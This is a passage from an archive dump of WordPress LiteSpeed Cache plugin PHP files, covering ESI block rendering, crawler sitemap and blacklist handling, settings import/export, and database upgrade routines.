$params[self::PARAM_ID]); } the_widget($params[self::PARAM_NAME], $params[self::PARAM_INSTANCE], $params[self::PARAM_ARGS]); } /** * Generates the admin bar for esi display. * * @access public * @since 1.1.3 */ public function load_admin_bar_block( $params ) { global $wp_the_query; if (!empty($params['ref'])) { $ref_qs = parse_url($params['ref'], PHP_URL_QUERY); if (!empty($ref_qs)) { parse_str($ref_qs, $ref_qs_arr); if (!empty($ref_qs_arr)) { foreach ($ref_qs_arr as $k => $v) { $_GET[$k] = $v; } } } } // Needed when permalink structure is "Plain" if (!isset($wp_the_query)) { wp(); } wp_admin_bar_render(); if (!$this->conf(Base::O_ESI_CACHE_ADMBAR)) { Control::set_nocache('build-in set to not cacheable'); } else { Control::set_private(); Control::set_no_vary(); } defined('LSCWP_LOG') && Debug2::debug('ESI: adminbar ref: ' . $_SERVER['REQUEST_URI']); } /** * Parses the esi input parameters and generates the comment form for esi display. * * @access public * @since 1.1.3 * @param array $params Input parameters needed to correctly display comment form */ public function load_comment_form_block( $params ) { comment_form($params[self::PARAM_ARGS], $params[self::PARAM_ID]); if (!$this->conf(Base::O_ESI_CACHE_COMMFORM)) { Control::set_nocache('build-in set to not cacheable'); } else { // by default comment form is public if (Vary::has_vary()) { Control::set_private(); Control::set_no_vary(); } } } /** * Generate nonce for certain action * * @access public * @since 2.6 */ public function load_nonce_block( $params ) { $action = $params['action']; Debug2::debug('[ESI] load_nonce_block [action] ' . $action); // set nonce TTL to half day Control::set_custom_ttl(43200); if (Router::is_logged_in()) { Control::set_private(); } if (function_exists('wp_create_nonce_litespeed_esi')) { echo wp_create_nonce_litespeed_esi($action); } else { echo wp_create_nonce($action); } } /** * Show original shortcode * * @access public * @since 2.8 */ public function load_esi_shortcode( $params ) { if (isset($params['ttl'])) { if (!$params['ttl']) { Control::set_nocache('ESI shortcode att ttl=0'); } else { Control::set_custom_ttl($params['ttl']); } unset($params['ttl']); } // Replace to original shortcode $shortcode = $params[0]; $atts_ori = array(); foreach ($params as $k => $v) { if ($k === 0) { continue; } $atts_ori[] = is_string($k) ? "$k='" . addslashes($v) . "'" : $v; } Tag::add(Tag::TYPE_ESI . "esi.$shortcode"); // Output original shortcode final content echo do_shortcode("[$shortcode " . implode(' ', $atts_ori) . ' ]'); } /** * Hooked to the comment_form_defaults filter. * Stores the default comment form settings. * If sub_comment_form_block is triggered, the output buffer is cleared and an esi block is added. The remaining comment form is also buffered and cleared. * Else there is no need to make the comment form ESI. * * @since 1.1.3 * @access public */ public function register_comment_form_actions( $defaults ) { $this->esi_args = $defaults; echo GUI::clean_wrapper_begin(); add_filter('comment_form_submit_button', array( $this, 'sub_comment_form_btn' ), 1000, 2); // To save the params passed in add_action('comment_form', array( $this, 'sub_comment_form_block' ), 1000); return $defaults; } /** * Store the args passed in comment_form for the ESI comment param usage in `$this->sub_comment_form_block()` * * @since 3.4 * @access public */ public function sub_comment_form_btn( $unused, $args ) { if (empty($args) || empty($this->esi_args)) { Debug2::debug('comment form args empty?'); return $unused; } $esi_args = array(); // compare current args with default ones foreach ($args as $k => $v) { if (!isset($this->esi_args[$k])) { $esi_args[$k] = $v; } elseif (is_array($v)) { $diff = array_diff_assoc($v, $this->esi_args[$k]); if (!empty($diff)) { $esi_args[$k] = $diff; } } elseif ($v !== $this->esi_args[$k]) { $esi_args[$k] = $v; } } $this->esi_args = $esi_args; return $unused; } /** * Hooked to the comment_form_submit_button filter. * * This method will compare the used comment form args against the default args. The difference will be passed to the esi request. * * @access public * @since 1.1.3 */ public function sub_comment_form_block( $post_id ) { echo GUI::clean_wrapper_end(); $params = array( self::PARAM_ID => $post_id, self::PARAM_ARGS => $this->esi_args, ); echo $this->sub_esi_block('comment-form', 'comment form', $params); echo GUI::clean_wrapper_begin(); add_action('comment_form_after', array( $this, 'comment_form_sub_clean' )); } /** * Hooked to the comment_form_after action. * Cleans up the remaining comment form output. * * @since 1.1.3 * @access public */ public function comment_form_sub_clean() { echo GUI::clean_wrapper_end(); } /** * Replace preserved blocks * * @since 2.6 * @access public */ public function finalize( $buffer ) { // Prepend combo esi block if (self::$_combine_ids) { Debug2::debug('[ESI] 🍔 Enabled combo'); $esi_block = $this->sub_esi_block(self::COMBO, '__COMBINE_MAIN__', array(), 'no-cache', true); $buffer = $esi_block . $buffer; } // Bypass if no preserved list to be replaced if (!$this->_esi_preserve_list) { return $buffer; } $keys = array_keys($this->_esi_preserve_list); Debug2::debug('[ESI] replacing preserved blocks', $keys); $buffer = str_replace($keys, $this->_esi_preserve_list, $buffer); return $buffer; } /** * Check if the content contains preserved list or not * * @since 3.3 */ public function contain_preserve_esi( $content ) { $hit_list = array(); foreach ($this->_esi_preserve_list as $k => $v) { if (strpos($content, '"' . $k . '"') !== false) { $hit_list[] = '"' . $k . '"'; } if (strpos($content, "'" . $k . "'") !== false) { $hit_list[] = "'" . $k . "'"; } } return $hit_list; } } crawler-map.cls.php000064400000046642152077520300010264 0ustar00 */ private $_urls = []; /** * Instantiate the class. * * @since 1.1.0 */ public function __construct() { $this->_site_url = get_site_url(); $this->__data = Data::cls(); $this->_tb = $this->__data->tb( 'crawler' ); $this->_tb_blacklist = $this->__data->tb( 'crawler_blacklist' ); // Specify the timeout while parsing the sitemap. $this->_conf_map_timeout = defined( 'LITESPEED_CRAWLER_MAP_TIMEOUT' ) ? constant( 'LITESPEED_CRAWLER_MAP_TIMEOUT' ) : 180; } /** * Save URLs crawl status into DB. * * @since 3.0 * @access public * * @param array> $items Map of bit => [ id => [url, code] ]. * @param int $curr_crawler Current crawler index (0-based). * @return array */ public function save_map_status( $items, $curr_crawler ) { global $wpdb; Utility::compatibility(); $total_crawler = count( Crawler::cls()->list_crawlers() ); $total_crawler_pos = $total_crawler - 1; // Replace current crawler's position. $curr_crawler = (int) $curr_crawler; foreach ( $items as $bit => $ids ) { // $ids = [ id => [ url, code ], ... ]. if ( ! $ids ) { continue; } self::debug( 'Update map [crawler] ' . $curr_crawler . ' [bit] ' . $bit . ' [count] ' . count( $ids ) ); // Update res first, then reason $right_pos = $total_crawler_pos - $curr_crawler; $id_all = implode(',', array_map('intval', array_keys($ids))); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query("UPDATE `$this->_tb` SET res = CONCAT( LEFT( res, $curr_crawler ), '$bit', RIGHT( res, $right_pos ) ) WHERE id IN ( $id_all )"); // Add blacklist if (Crawler::STATUS_BLACKLIST === $bit || Crawler::STATUS_NOCACHE === $bit) { $q = "SELECT a.id, a.url FROM `$this->_tb_blacklist` a LEFT JOIN `$this->_tb` b ON b.url=a.url WHERE b.id IN ( $id_all )"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $existing = $wpdb->get_results($q, ARRAY_A); // Update current crawler status tag in existing blacklist if ($existing) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared $count = $wpdb->query("UPDATE `$this->_tb_blacklist` SET res = CONCAT( LEFT( res, $curr_crawler ), '$bit', RIGHT( res, $right_pos ) ) WHERE id IN ( " . implode(',', array_column($existing, 'id')) . ' )'); self::debug('Update blacklist [count] ' . $count); } // Append new blacklist if (count($ids) > count($existing)) { $new_urls = array_diff(array_column($ids, 'url'), array_column($existing, 'url')); self::debug('Insert into blacklist [count] ' . count($new_urls)); $q = "INSERT INTO `$this->_tb_blacklist` ( url, res, reason ) VALUES " . implode(',', array_fill(0, count($new_urls), '( %s, %s, %s )')); $data = []; $res = array_fill(0, $total_crawler, '-'); $res[$curr_crawler] = $bit; $res = implode('', $res); $default_reason = $total_crawler > 1 ? str_repeat(',', $total_crawler - 1) : ''; // Pre-populate default reason value first, update later foreach ($new_urls as $url) { $data[] = $url; $data[] = $res; $data[] = $default_reason; } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, $data)); } } // Update sitemap reason w/ HTTP code. $reason_array = []; foreach ( $ids as $row_id => $row ) { $code = (int) $row['code']; if ( empty( $reason_array[ $code ] ) ) { $reason_array[ $code ] = []; } $reason_array[ $code ][] = (int) $row_id; } foreach ($reason_array as $code => $v2) { // Complement comma if ($curr_crawler) { $code = ',' . $code; } if ($curr_crawler < $total_crawler_pos) { $code .= ','; } // phpcs:ignore WordPress.DB $count = $wpdb->query( "UPDATE `$this->_tb` SET reason=CONCAT(SUBSTRING_INDEX(reason, ',', $curr_crawler), '$code', SUBSTRING_INDEX(reason, ',', -$right_pos)) WHERE id IN (" . implode(',', $v2) . ')' ); self::debug("Update map reason [code] $code [pos] left $curr_crawler right -$right_pos [count] $count"); // Update blacklist reason if (Crawler::STATUS_BLACKLIST === $bit || Crawler::STATUS_NOCACHE === $bit) { // phpcs:ignore WordPress.DB $count = $wpdb->query( "UPDATE `$this->_tb_blacklist` a LEFT JOIN `$this->_tb` b ON b.url = a.url SET a.reason=CONCAT(SUBSTRING_INDEX(a.reason, ',', $curr_crawler), '$code', SUBSTRING_INDEX(a.reason, ',', -$right_pos)) WHERE b.id IN (" . implode(',', $v2) . ')' ); self::debug("Update blacklist [code] $code [pos] left $curr_crawler right -$right_pos [count] $count"); } } // Reset list. $items[ $bit ] = []; } return $items; } /** * Add one record to blacklist. * NOTE: $id is sitemap table ID. * * @since 3.0 * @access public * * @param int $id Sitemap row ID. * @return void */ public function blacklist_add( $id ) { global $wpdb; $id = (int) $id; // Build res&reason. $total_crawler = count( Crawler::cls()->list_crawlers() ); $res = str_repeat(Crawler::STATUS_BLACKLIST, $total_crawler); $reason = implode(',', array_fill(0, $total_crawler, 'Man')); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $row = $wpdb->get_row("SELECT a.url, b.id FROM `$this->_tb` a LEFT JOIN `$this->_tb_blacklist` b ON b.url = a.url WHERE a.id = '$id'", ARRAY_A); if (!$row) { self::debug('blacklist failed to add [id] ' . $id); return; } self::debug('Add to blacklist [url] ' . $row['url']); $q = "UPDATE `$this->_tb` SET res = %s, reason = %s WHERE id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, [ $res, $reason, $id ])); if ($row['id']) { $q = "UPDATE `$this->_tb_blacklist` SET res = %s, reason = %s WHERE id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, [ $res, $reason, $row['id'] ])); } else { $q = "INSERT INTO `$this->_tb_blacklist` (url, res, reason) VALUES (%s, %s, %s)"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, [ $row['url'], $res, $reason ])); } } /** * Delete one record from blacklist. * * @since 3.0 * @access public * * @param int $id Blacklist row ID. * @return void */ public function blacklist_del( $id ) { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return; } $id = (int) $id; self::debug('blacklist delete [id] ' . $id); $sql = sprintf( "UPDATE `%s` SET res=REPLACE(REPLACE(res, '%s', '-'), '%s', '-') WHERE url=(SELECT url FROM `%s` WHERE id=%d)", $this->_tb, Crawler::STATUS_NOCACHE, Crawler::STATUS_BLACKLIST, $this->_tb_blacklist, $id ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($sql); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query("DELETE FROM `$this->_tb_blacklist` WHERE id='$id'"); } /** * Empty blacklist. * * @since 3.0 * @access public * @return void */ public function blacklist_empty() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return; } self::debug('Truncate blacklist'); $sql = sprintf("UPDATE `%s` SET res=REPLACE(REPLACE(res, '%s', '-'), '%s', '-')", $this->_tb, Crawler::STATUS_NOCACHE, Crawler::STATUS_BLACKLIST); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($sql); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query("TRUNCATE `$this->_tb_blacklist`"); } /** * List blacklist. * * @since 3.0 * @access public * * @param int|false $limit Number of rows to fetch, or false for all. * @param int|false $offset Offset for pagination, or false to auto-calc. * @return array> */ public function list_blacklist( $limit = false, $offset = false ) { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return []; } $q = "SELECT * FROM `$this->_tb_blacklist` ORDER BY id DESC"; if ( false !== $limit ) { if ( false === $offset ) { $total = $this->count_blacklist(); $offset = Utility::pagination($total, $limit, true); } $q .= ' LIMIT %d, %d'; // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare($q, $offset, $limit); } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return $wpdb->get_results($q, ARRAY_A); } /** * Count blacklist. * * @return int|false */ public function count_blacklist() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return false; } $q = "SELECT COUNT(*) FROM `$this->_tb_blacklist`"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return $wpdb->get_var($q); } /** * Empty sitemap. * * @since 3.0 * @access public * @return void */ public function empty_map() { Data::cls()->tb_del( 'crawler' ); $msg = __( 'Sitemap cleaned successfully', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * List generated sitemap. * * @since 3.0 * @access public * * @param int $limit Number of rows per page. * @param int|bool $offset Offset for pagination, or false to auto-calc. * @return array> */ public function list_map( $limit, $offset = false ) { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler' ) ) { return []; } if ( false === $offset ) { $total = $this->count_map(); $offset = Utility::pagination($total, $limit, true); } $type = Router::verify_type(); $req_uri_like = ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['kw'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $kw = sanitize_text_field( wp_unslash( $_POST['kw'] ) ); $q = "SELECT * FROM `$this->_tb` WHERE url LIKE %s"; if ( 'hit' === $type ) { $q .= " AND res LIKE '%" . Crawler::STATUS_HIT . "%'"; } if ( 'miss' === $type ) { $q .= " AND res LIKE '%" . Crawler::STATUS_MISS . "%'"; } if ( 'blacklisted' === $type ) { $q .= " AND res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'"; } $q .= ' ORDER BY id LIMIT %d, %d'; $req_uri_like = '%' . $wpdb->esc_like( $kw ) . '%'; return $wpdb->get_results( $wpdb->prepare( $q, $req_uri_like, $offset, $limit ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } $q = "SELECT * FROM `$this->_tb`"; if ( 'hit' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_HIT . "%'"; } if ( 'miss' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_MISS . "%'"; } if ( 'blacklisted' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'"; } $q .= ' ORDER BY id LIMIT %d, %d'; return $wpdb->get_results( $wpdb->prepare( $q, $offset, $limit ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Count sitemap. * * @return int|false */ public function count_map() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler' ) ) { return false; } $q = "SELECT COUNT(*) FROM `$this->_tb`"; $type = Router::verify_type(); if ( 'hit' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_HIT . "%'"; } if ( 'miss' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_MISS . "%'"; } if ( 'blacklisted' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'"; } return $wpdb->get_var( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Generate sitemap. * * @since 1.1.0 * @access public * * @param bool $manual Whether triggered manually from UI. * @return void */ public function gen( $manual = false ) { $count = $this->_gen(); if ( ! $count ) { Admin_Display::error( __( 'No valid sitemap parsed for crawler.', 'litespeed-cache' ) ); return; } if ( ! wp_doing_cron() && $manual ) { $msg = sprintf( __( 'Sitemap created successfully: %d items', 'litespeed-cache' ), $count ); Admin_Display::success( $msg ); } } /** * Generate the sitemap. * * @since 1.1.0 * @access private * @return int|false Number of URLs generated or false on failure. */ private function _gen() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler' ) ) { $this->__data->tb_create( 'crawler' ); } if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { $this->__data->tb_create( 'crawler_blacklist' ); } // Use custom sitemap. $sitemap = $this->conf( Base::O_CRAWLER_SITEMAP ); if ( ! $sitemap ) { return false; } $offset = strlen( $this->_site_url ); $sitemap = Utility::sanitize_lines( $sitemap ); try { foreach ( $sitemap as $this_map ) { $this->_parse( $this_map ); } } catch ( \Exception $e ) { self::debug( '❌ failed to parse custom sitemap: ' . $e->getMessage() ); } if ( is_array( $this->_urls ) && ! empty( $this->_urls ) ) { if ( defined( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) && constant( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) ) { foreach ( $this->_urls as $k => $v ) { if ( 0 !== stripos( $v, $this->_site_url ) ) { unset( $this->_urls[ $k ] ); continue; } $this->_urls[ $k ] = substr( $v, $offset ); } } $this->_urls = array_values( array_unique( $this->_urls ) ); } self::debug( 'Truncate sitemap' ); $wpdb->query( "TRUNCATE `$this->_tb`" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery self::debug( 'Generate sitemap' ); // Filter URLs in blacklist. $blacklist = $this->list_blacklist(); $full_blacklisted = []; $partial_blacklisted = []; foreach ( $blacklist as $v ) { if ( false === strpos( $v['res'], '-' ) ) { // Full blacklisted. $full_blacklisted[] = $v['url']; } else { // Replace existing reason. $v['reason'] = explode( ',', $v['reason'] ); $v['reason'] = array_map( function ( $element ) { return $element ? 'Existed' : ''; }, $v['reason'] ); $v['reason'] = implode( ',', $v['reason'] ); $partial_blacklisted[ $v['url'] ] = [ 'res' => $v['res'], 'reason' => $v['reason'], ]; } } // Drop all blacklisted URLs. $this->_urls = array_diff( $this->_urls, $full_blacklisted ); // Default res & reason. $crawler_count = count( Crawler::cls()->list_crawlers() ); $default_res = str_repeat( '-', $crawler_count ); $default_reason = $crawler_count > 1 ? str_repeat( ',', $crawler_count - 1 ) : ''; $data = []; foreach ( $this->_urls as $url ) { $data[] = $url; $data[] = array_key_exists( $url, $partial_blacklisted ) ? $partial_blacklisted[ $url ]['res'] : $default_res; $data[] = array_key_exists( $url, $partial_blacklisted ) ? $partial_blacklisted[ $url ]['reason'] : $default_reason; } foreach ( array_chunk( $data, 300 ) as $data2 ) { $this->_save( $data2 ); } // Reset crawler. Crawler::cls()->reset_pos(); return count( $this->_urls ); } /** * Save data to table. * * @since 3.0 * @access private * * @param array $data Flat array (url,res,reason, url,res,reason, ...). * @param string $fields Fields list for insert (default url,res,reason). * @return void */ private function _save( $data, $fields = 'url,res,reason' ) { global $wpdb; if ( empty( $data ) ) { return; } $q = "INSERT INTO `$this->_tb` ( {$fields} ) VALUES "; // Add placeholder. $q .= Utility::chunk_placeholder( $data, $fields ); // Store data. $wpdb->query( $wpdb->prepare( $q, $data ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Parse custom sitemap and collect urls. * * @since 1.1.1 * @access private * * @param string $sitemap Absolute sitemap URL. * @return void * @throws \Exception If remote read or parsing fails. */ private function _parse( $sitemap ) { /** * Read via wp func to avoid allow_url_fopen = off * * @since 2.2.7 */ $response = wp_safe_remote_get( $sitemap, [ 'timeout' => $this->_conf_map_timeout, 'sslverify' => false, ] ); if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to read sitemap: ' . $error_message ); throw new \Exception( 'Failed to remote read ' . esc_url( $sitemap ) ); } $xml_object = simplexml_load_string($response['body'], null, LIBXML_NOCDATA); if (!$xml_object) { if ($this->_urls) { return; } throw new \Exception('Failed to parse xml ' . esc_url( $sitemap )); } // start parsing. $xml_array = (array) $xml_object; if ( ! empty( $xml_array['sitemap'] ) ) { // parse sitemap set. if ( is_object( $xml_array['sitemap'] ) ) { $xml_array['sitemap'] = (array) $xml_array['sitemap']; } if ( ! empty( $xml_array['sitemap']['loc'] ) ) { // is single sitemap. $this->_parse( (string) $xml_array['sitemap']['loc'] ); } else { // parse multiple sitemaps. foreach ( (array) $xml_array['sitemap'] as $val ) { $val = (array) $val; if ( ! empty( $val['loc'] ) ) { $this->_parse( (string) $val['loc'] ); // recursive parse sitemap. } } } } elseif ( ! empty( $xml_array['url'] ) ) { // parse url set. if ( is_object( $xml_array['url'] ) ) { $xml_array['url'] = (array) $xml_array['url']; } // if only 1 element. if ( ! empty( $xml_array['url']['loc'] ) ) { $this->_urls[] = (string) $xml_array['url']['loc']; } else { foreach ( (array) $xml_array['url'] as $val ) { $val = (array) $val; if ( ! empty( $val['loc'] ) ) { $this->_urls[] = (string) $val['loc']; } } } } } } import.cls.php000064400000010453152077520300007353 0ustar00_summary = self::get_summary(); } /** * Export settings to file * * @since 1.8.2 * @since 7.3 added download content type * @access public */ public function export( $only_data_return = false ) { $raw_data = $this->get_options(true); $data = array(); foreach ($raw_data as $k => $v) { $data[] = \json_encode(array( $k, $v )); } $data = implode("\n\n", $data); if ($only_data_return) { return $data; } $filename = $this->_generate_filename(); // Update log $this->_summary['export_file'] = $filename; $this->_summary['export_time'] = time(); self::save_summary(); Debug2::debug('Import: Saved to ' . $filename); @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename=' . $filename); echo $data; exit(); } /** * Import settings from file * * @since 1.8.2 * @access public */ public function import( $file = false ) { if (!$file) { if (empty($_FILES['ls_file']['name']) || substr($_FILES['ls_file']['name'], -5) != '.data' || empty($_FILES['ls_file']['tmp_name'])) { Debug2::debug('Import: Failed to import, wrong ls_file'); $msg = __('Import failed due to file error.', 'litespeed-cache'); Admin_Display::error($msg); return false; } $this->_summary['import_file'] = $_FILES['ls_file']['name']; $data = file_get_contents($_FILES['ls_file']['tmp_name']); } else { $this->_summary['import_file'] = $file; $data = file_get_contents($file); } // Update log $this->_summary['import_time'] = time(); self::save_summary(); $ori_data = array(); try { // Check if the data is v4+ or not if (strpos($data, '["_version",') === 0) { Debug2::debug('[Import] Data version: v4+'); $data = explode("\n", $data); foreach ($data as $v) { $v = trim($v); if (!$v) { continue; } list($k, $v) = \json_decode($v, true); $ori_data[$k] = $v; } } else { $ori_data = \json_decode(base64_decode($data), true); } } catch (\Exception $ex) { Debug2::debug('[Import] ❌ Failed to parse serialized data'); return false; } if (!$ori_data) { Debug2::debug('[Import] ❌ Failed to import, no data'); return false; } else { Debug2::debug('[Import] Importing data', $ori_data); } $this->cls('Conf')->update_confs($ori_data); if (!$file) { Debug2::debug('Import: Imported ' . $_FILES['ls_file']['name']); $msg = sprintf(__('Imported setting file %s successfully.', 'litespeed-cache'), $_FILES['ls_file']['name']); Admin_Display::success($msg); } else { Debug2::debug('Import: Imported ' . $file); } return true; } /** * Reset all configs to default values. * * @since 2.6.3 * @access public */ public function reset() { $options = $this->cls('Conf')->load_default_vals(); $this->cls('Conf')->update_confs($options); Debug2::debug('[Import] Reset successfully.'); $msg = __('Reset successfully.', 'litespeed-cache'); Admin_Display::success($msg); } /** * Generate the filename to export * * @since 1.8.2 * @access private */ private function _generate_filename() { // Generate filename $parsed_home = parse_url(get_home_url()); $filename = 'LSCWP_cfg-'; if (!empty($parsed_home['host'])) { $filename .= $parsed_home['host'] . '_'; } if (!empty($parsed_home['path'])) { $filename .= $parsed_home['path'] . '_'; } $filename = str_replace('/', '_', $filename); $filename .= '-' . date('Ymd_His') . '.data'; return $filename; } /** * Handle all request actions from main cls * * @since 1.8.2 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_IMPORT: $this->import(); break; case self::TYPE_EXPORT: $this->export(); break; case self::TYPE_RESET: $this->reset(); break; default: break; } Admin::redirect(); } } data.upgrade.func.php000064400000013340152077520300010550 0ustar00suppress_errors; $wpdb->suppress_errors( true ); // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnquotedComplexPlaceholder, WordPress.DB.DirectDatabaseQuery.DirectQuery $tb_exists = $wpdb->get_var( $wpdb->prepare( 'DESCRIBE `%1s`', $table_name ) ); $wpdb->suppress_errors( $save_state ); return null !== $tb_exists; } /** * Migrate v7.0- url_files URL from no trailing slash to trailing slash. * * @since 7.0.1 * @return void */ function litespeed_update_7_0_1() { global $wpdb; Debug2::debug( '[Data] v7.0.1 upgrade started' ); $tb_url = $wpdb->prefix . 'litespeed_url'; if ( ! litespeed_table_exists( $tb_url ) ) { Debug2::debug( '[Data] Table `litespeed_url` not found, bypassed migration' ); return; } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $list = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM `{$tb_url}` WHERE url LIKE %s", 'https://%/' ), ARRAY_A ); $existing_urls = array(); if ($list) { foreach ($list as $v) { $existing_urls[] = $v['url']; } } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $list = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM `{$tb_url}` WHERE url LIKE %s", 'https://%' ), ARRAY_A ); if ( ! $list ) { return; } foreach ( $list as $v ) { if ( '/' === substr( $v['url'], -1 ) ) { continue; } $new_url = $v['url'] . '/'; if ( in_array( $new_url, $existing_urls, true ) ) { continue; } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $wpdb->prepare( "UPDATE `{$tb_url}` SET url = %s WHERE id = %d", $new_url, $v['id'] ) ); } } /** * Migrate from domain key to pk/sk for QC * * @since 7.0 */ function litespeed_update_7() { Debug2::debug('[Data] v7 upgrade started'); $__cloud = Cloud::cls(); $domain_key = $__cloud->conf('api_key'); if (!$domain_key) { Debug2::debug('[Data] No domain key, bypassed migration'); return; } $new_prepared = $__cloud->init_qc_prepare(); if (!$new_prepared && $__cloud->activated()) { Debug2::debug('[Data] QC previously activated in v7, bypassed migration'); return; } $data = array( 'domain_key' => $domain_key, ); $resp = $__cloud->post(Cloud::SVC_D_V3UPGRADE, $data); if ( ! empty( $resp['qc_activated'] ) ) { if ( 'deleted' !== $resp['qc_activated'] ) { $cloud_summary_updates = array( 'qc_activated' => $resp['qc_activated'] ); if (!empty($resp['main_domain'])) { $cloud_summary_updates['main_domain'] = $resp['main_domain']; } Cloud::save_summary($cloud_summary_updates); Debug2::debug('[Data] Updated QC activated status to ' . $resp['qc_activated']); } } } /** * Drop deprecated guest_ips and guest_uas from DB options. * Migrate url table to make all links trailing slash for UCSS/CCSS. * * These values are now read from files instead. * * @since 7.7 */ function litespeed_update_7_7() { global $wpdb; Debug2::debug( '[Data] v7.7 upgrade: dropping guest_ips/guest_uas options' ); Conf::delete_option( 'conf.guest_ips' ); Conf::delete_option( 'conf.guest_uas' ); Conf::delete_site_option( 'conf.guest_ips' ); Conf::delete_site_option( 'conf.guest_uas' ); // Normalize all URLs to have trailing slash to match UCSS/CCSS generation logic Debug2::debug( '[Data] v7.7 upgrade: normalizing URL trailing slashes' ); // Skip if plain permalink mode (no trailing slash) $permalink_structure = get_option( 'permalink_structure' ); if ( empty( $permalink_structure ) ) { Debug2::debug( '[Data] Plain permalink mode, bypassed URL trailing slash migration' ); return; } $tb_url = $wpdb->prefix . 'litespeed_url'; if ( ! litespeed_table_exists( $tb_url ) ) { Debug2::debug( '[Data] Table `litespeed_url` not found, bypassed URL migration' ); return; } // Check if there are URLs without trailing slash (exclude URLs with query string) // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $count = $wpdb->get_var( "SELECT COUNT(*) FROM `{$tb_url}` WHERE url LIKE 'https://%' AND url NOT LIKE '%/' AND url NOT LIKE '%?%'" ); if ( ! $count ) { Debug2::debug( '[Data] No URLs without trailing slash found, bypassed' ); return; } // Append trailing slash to all URLs that don't have one and don't have duplicate with slash (exclude URLs with query string) // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "UPDATE `{$tb_url}` SET url = CONCAT(url, '/') WHERE url LIKE 'https://%' AND url NOT LIKE '%/' AND url NOT LIKE '%?%' AND CONCAT(url, '/') NOT IN (SELECT * FROM (SELECT url FROM `{$tb_url}` WHERE url LIKE '%/') AS tmp)" ); } /** * Append webp/mobile to url_file * * @since 5.3 */ function litespeed_update_5_3() { global $wpdb; Debug2::debug('[Data] Upgrade url_file table'); 